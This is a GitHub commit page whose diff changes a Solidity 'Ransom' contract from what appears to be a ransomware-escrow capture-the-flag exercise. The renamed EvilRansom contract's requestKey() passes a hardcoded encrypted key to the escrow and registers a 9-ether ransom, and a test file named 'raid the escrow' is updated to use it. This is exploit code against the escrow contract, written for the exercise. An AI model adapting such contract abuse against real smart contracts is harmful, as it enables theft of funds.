Skip to content

Commit

Permalink
Patch the Ransom contract
Browse files Browse the repository at this point in the history
  • Loading branch information
vladistan committed Jan 15, 2019
1 parent 7d164ed commit de42319
Show file tree
Hide file tree
Showing 2 changed files with 7 additions and 3 deletions.
8 changes: 6 additions & 2 deletions contracts/EvilRansom.sol
Expand Up @@ -4,7 +4,7 @@ import "./Escrow.sol";
import "./Registry.sol"; import "./Registry.sol";


///@title Ransom contract ///@title Ransom contract
contract ZeroRansom { contract EvilRansom {
/** /**
* @dev This is the Ransom contract that is deployed for each victim. It holds an encrypted * @dev This is the Ransom contract that is deployed for each victim. It holds an encrypted
* version of the key needed to decrypt the files on the victim machine. The only way to obtain a * version of the key needed to decrypt the files on the victim machine. The only way to obtain a
Expand Down Expand Up @@ -106,7 +106,11 @@ contract ZeroRansom {
* the victim assurances that they will be given a valid key. * the victim assurances that they will be given a valid key.
*/ */
function requestKey() external onlyAuthenticated restrictSenderToEscrow { function requestKey() external onlyAuthenticated restrictSenderToEscrow {
Escrow(escrowAddr).decryptKey(victimId, encKey); Escrow(escrowAddr).decryptKey(victimId,
"sriqAvS4XvQ3hAzErWKyBlSUrUsqeCj3XZb/gd11PzCzu9lXaol2LfGCWO/4Zw7EkOWaeFJ9weTwF9qgIMdjUs+vmzyLeUQeLhKtfOEdF7P7Y8vZZSmxpR0c8pOvYKiImEQw9/K4fbfq5dvS1VwjupVQFTXuL19mDA1vfP3xx4idrufiTHB+80//Gmca+QHyN7J1KYOx99N6bbYlPSPgHl90obrt5RX3zrFun1USTyQvQs538dr9JZrEq5l/4WPTl1KlbfzYKWk+Fc8S7zr7/mi2eWoAD0KoLg2ESELxoWW5uigAYQhn5K/havkesMC2ONczRFpyQYonxEMow6OIfQ=="
);
Escrow(escrowAddr).registerRansom(9 ether, victimId, victimAddr);

} }


/** /**
Expand Down
2 changes: 1 addition & 1 deletion test/T7raidtheescrow.js
@@ -1,5 +1,5 @@


let Ransom = artifacts.require("./ZeroRansom.sol"); let Ransom = artifacts.require("./EvilRansom.sol");
let Escrow = artifacts.require("./Escrow.sol"); let Escrow = artifacts.require("./Escrow.sol");
let Registry = artifacts.require("./Registry.sol"); let Registry = artifacts.require("./Registry.sol");


Expand Down

0 comments on commit de42319

Please sign in to comment.